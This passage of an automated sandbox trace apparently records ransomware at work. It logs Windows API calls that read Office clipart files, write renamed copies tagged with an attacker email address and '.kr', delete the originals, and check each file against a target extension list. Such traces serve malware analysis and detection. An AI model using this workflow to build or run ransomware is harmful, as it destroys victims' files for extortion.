Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0206.397] lstrlenW (lpString=".jpg") returned 4 [0206.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.397] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.397] lstrlenW (lpString="J0105298.WMF") returned 12 [0206.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.398] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6320) returned 1 [0206.398] CloseHandle (hObject=0x3f8) returned 1 [0206.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 0x220 [0206.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.399] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.399] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.400] GetLastError () returned 0x0 [0206.400] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x18b0, lpOverlapped=0x0) returned 1 [0206.402] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x18c0, lpOverlapped=0x0) returned 1 [0206.403] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.403] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.403] SetEndOfFile (hFile=0x370) returned 1 [0206.403] CloseHandle (hObject=0x370) returned 1 [0206.403] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.403] SetEndOfFile (hFile=0x3f8) returned 1 [0206.406] CloseHandle (hObject=0x3f8) returned 1 [0206.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105298.wmf")) returned 1 [0206.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.408] lstrlenW (lpString=".doc") returned 4 [0206.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.408] lstrlenW (lpString=".docx") returned 5 [0206.408] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.408] lstrlenW (lpString=".pdf") returned 4 [0206.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.408] lstrlenW (lpString=".xls") returned 4 [0206.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.408] lstrlenW (lpString=".xlsx") returned 5 [0206.408] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.408] lstrlenW (lpString=".ppt") returned 4 [0206.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.408] lstrlenW (lpString=".zip") returned 4 [0206.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.408] lstrlenW (lpString=".rar") returned 4 [0206.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.408] lstrlenW (lpString=".bz2") returned 4 [0206.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.408] lstrlenW (lpString=".7z") returned 3 [0206.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.408] lstrlenW (lpString=".dbf") returned 4 [0206.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.408] lstrlenW (lpString=".1cd") returned 4 [0206.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.408] lstrlenW (lpString=".jpg") returned 4 [0206.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.409] lstrlenW (lpString=".doc") returned 4 [0206.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.409] lstrlenW (lpString=".docx") returned 5 [0206.409] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.409] lstrlenW (lpString=".pdf") returned 4 [0206.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.409] lstrlenW (lpString=".xls") returned 4 [0206.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.409] lstrlenW (lpString=".xlsx") returned 5 [0206.409] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.409] lstrlenW (lpString=".ppt") returned 4 [0206.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.409] lstrlenW (lpString=".zip") returned 4 [0206.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.409] lstrlenW (lpString=".rar") returned 4 [0206.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.409] lstrlenW (lpString=".bz2") returned 4 [0206.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.409] lstrlenW (lpString=".7z") returned 3 [0206.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.409] lstrlenW (lpString=".dbf") returned 4 [0206.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.409] lstrlenW (lpString=".1cd") returned 4 [0206.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105298.WMF") returned 68 [0206.409] lstrlenW (lpString=".jpg") returned 4 [0206.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.410] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.410] lstrlenW (lpString="J0105306.WMF") returned 12 [0206.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.410] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4320) returned 1 [0206.410] CloseHandle (hObject=0x3f8) returned 1 [0206.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0206.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.413] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.413] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0206.414] GetLastError () returned 0x0 [0206.414] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x10e0, lpOverlapped=0x0) returned 1 [0206.416] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x10f0, lpOverlapped=0x0) returned 1 [0206.417] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.417] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.417] SetEndOfFile (hFile=0x370) returned 1 [0206.417] CloseHandle (hObject=0x370) returned 1 [0206.417] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.417] SetEndOfFile (hFile=0x3f8) returned 1 [0206.420] CloseHandle (hObject=0x3f8) returned 1 [0206.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0206.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.421] lstrlenW (lpString=".doc") returned 4 [0206.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.421] lstrlenW (lpString=".docx") returned 5 [0206.421] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.421] lstrlenW (lpString=".pdf") returned 4 [0206.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.421] lstrlenW (lpString=".xls") returned 4 [0206.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.421] lstrlenW (lpString=".xlsx") returned 5 [0206.421] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.421] lstrlenW (lpString=".ppt") returned 4 [0206.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.421] lstrlenW (lpString=".zip") returned 4 [0206.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.421] lstrlenW (lpString=".rar") returned 4 [0206.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.421] lstrlenW (lpString=".bz2") returned 4 [0206.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.421] lstrlenW (lpString=".7z") returned 3 [0206.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.421] lstrlenW (lpString=".dbf") returned 4 [0206.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.421] lstrlenW (lpString=".1cd") returned 4 [0206.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.422] lstrlenW (lpString=".jpg") returned 4 [0206.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.422] lstrlenW (lpString=".doc") returned 4 [0206.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.422] lstrlenW (lpString=".docx") returned 5 [0206.422] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0206.422] lstrlenW (lpString=".pdf") returned 4 [0206.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.422] lstrlenW (lpString=".xls") returned 4 [0206.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.422] lstrlenW (lpString=".xlsx") returned 5 [0206.422] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0206.422] lstrlenW (lpString=".ppt") returned 4 [0206.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.422] lstrlenW (lpString=".zip") returned 4 [0206.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.422] lstrlenW (lpString=".rar") returned 4 [0206.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.422] lstrlenW (lpString=".bz2") returned 4 [0206.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.422] lstrlenW (lpString=".7z") returned 3 [0206.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.422] lstrlenW (lpString=".dbf") returned 4 [0206.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.422] lstrlenW (lpString=".1cd") returned 4 [0206.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0206.423] lstrlenW (lpString=".jpg") returned 4 [0206.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.423] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.423] lstrlenW (lpString="J0105320.WMF") returned 12 [0206.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.423] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2020) returned 1 [0206.423] CloseHandle (hObject=0x3f8) returned 1 [0206.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0206.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.424] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.424] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.635] GetLastError () returned 0x0 [0206.635] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x7e4, lpOverlapped=0x0) returned 1 [0206.637] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x7f0, lpOverlapped=0x0) returned 1 [0206.638] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.638] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.638] SetEndOfFile (hFile=0x53c) returned 1 [0206.638] CloseHandle (hObject=0x53c) returned 1 [0206.638] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.638] SetEndOfFile (hFile=0x3f8) returned 1 [0206.641] CloseHandle (hObject=0x3f8) returned 1 [0206.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 1 [0206.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.642] lstrlenW (lpString=".doc") returned 4 [0206.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.642] lstrlenW (lpString=".docx") returned 5 [0206.642] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.642] lstrlenW (lpString=".pdf") returned 4 [0206.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.642] lstrlenW (lpString=".xls") returned 4 [0206.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.642] lstrlenW (lpString=".xlsx") returned 5 [0206.642] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.642] lstrlenW (lpString=".ppt") returned 4 [0206.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.642] lstrlenW (lpString=".zip") returned 4 [0206.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.642] lstrlenW (lpString=".rar") returned 4 [0206.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.642] lstrlenW (lpString=".bz2") returned 4 [0206.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.642] lstrlenW (lpString=".7z") returned 3 [0206.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.642] lstrlenW (lpString=".dbf") returned 4 [0206.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.643] lstrlenW (lpString=".1cd") returned 4 [0206.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.643] lstrlenW (lpString=".jpg") returned 4 [0206.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.643] lstrlenW (lpString=".doc") returned 4 [0206.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.643] lstrlenW (lpString=".docx") returned 5 [0206.643] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.643] lstrlenW (lpString=".pdf") returned 4 [0206.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.643] lstrlenW (lpString=".xls") returned 4 [0206.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.643] lstrlenW (lpString=".xlsx") returned 5 [0206.643] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.643] lstrlenW (lpString=".ppt") returned 4 [0206.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.643] lstrlenW (lpString=".zip") returned 4 [0206.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.643] lstrlenW (lpString=".rar") returned 4 [0206.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.643] lstrlenW (lpString=".bz2") returned 4 [0206.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.643] lstrlenW (lpString=".7z") returned 3 [0206.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.643] lstrlenW (lpString=".dbf") returned 4 [0206.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.644] lstrlenW (lpString=".1cd") returned 4 [0206.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF") returned 68 [0206.644] lstrlenW (lpString=".jpg") returned 4 [0206.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.644] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.644] lstrlenW (lpString="J0105336.WMF") returned 12 [0206.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft 